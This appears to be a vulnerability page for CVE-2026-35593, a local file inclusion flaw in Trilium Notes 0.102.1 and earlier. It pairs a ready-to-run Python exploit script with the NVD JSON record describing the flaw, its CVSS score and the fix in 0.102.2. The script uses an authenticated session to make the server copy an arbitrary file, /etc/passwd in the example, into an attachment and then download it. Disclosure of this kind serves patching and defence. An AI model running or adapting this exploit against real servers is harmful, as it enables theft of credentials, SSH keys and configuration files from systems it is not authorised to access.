CVE-2026-35593

import requests # Target URL and credentials TARGET_URL = "http://localhost:8080" ATTACHMENT_ID = "-xxxxxx" # Replace with a valid attachment ID SESSION_TOKEN = "your_session_cookie" # Authenticated session # The file to read on the server TARGET_FILE = "/etc/passwd" # Headers headers = { "Cookie": f"trilium.sid={SESSION_TOKEN}", "Content-Type": "application/json" } # Step 1: Upload modified file (trigger LFI) payload = { "filePath": TARGET_FILE } upload_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/upload-modified-file" response = requests.post(upload_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully triggered file replacement for {TARGET_FILE}") # Step 2: Download the attachment to read the file content download_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/download" file_response = requests.get(download_url, headers=headers) if file_response.status_code == 200: print("[+] File content retrieved:") print(file_response.text) else: print(f"[-] Failed to download file. Status: {file_response.status_code}") else: print(f"[-] Failed to upload. Status: {response.status_code}")

{"cve": {"id": "CVE-2026-35593", "sourceIdentifier": "[email protected]", "published": "2026-05-20T00:16:37.433", "lastModified": "2026-05-20T14:16:50.653", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trilium Notes is an open-source, cross-platform hierarchical note taking application for building large personal knowledge bases. Versions 0.102.1 and prior are vulnerable to Local File Inclusion, allowing an authenticated attacker to read sensitive arbitrary files from the server's filesystem. The uploadModifiedFileToAttachment function, which is called when a POST request is received to /api/attachments/{attachmentId}/upload-modified-file, replaces the content of the attachment with the content from another file (whose path is provided in filePath of Request body). After which the content of the attachment can be viewed at /api/attachments/{attachmentId}/download. This exposes sensitive system files such as SSH keys, credentials, configs, and OS files, potentially leading to remote code execution and compromise of co-hosted applications. This issue has been fixed in version 0.102.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/TriliumNext/Trilium/releases/tag/v0.102.2", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-hf4x-22rg-pjjp", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-hf4x-22rg-pjjp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}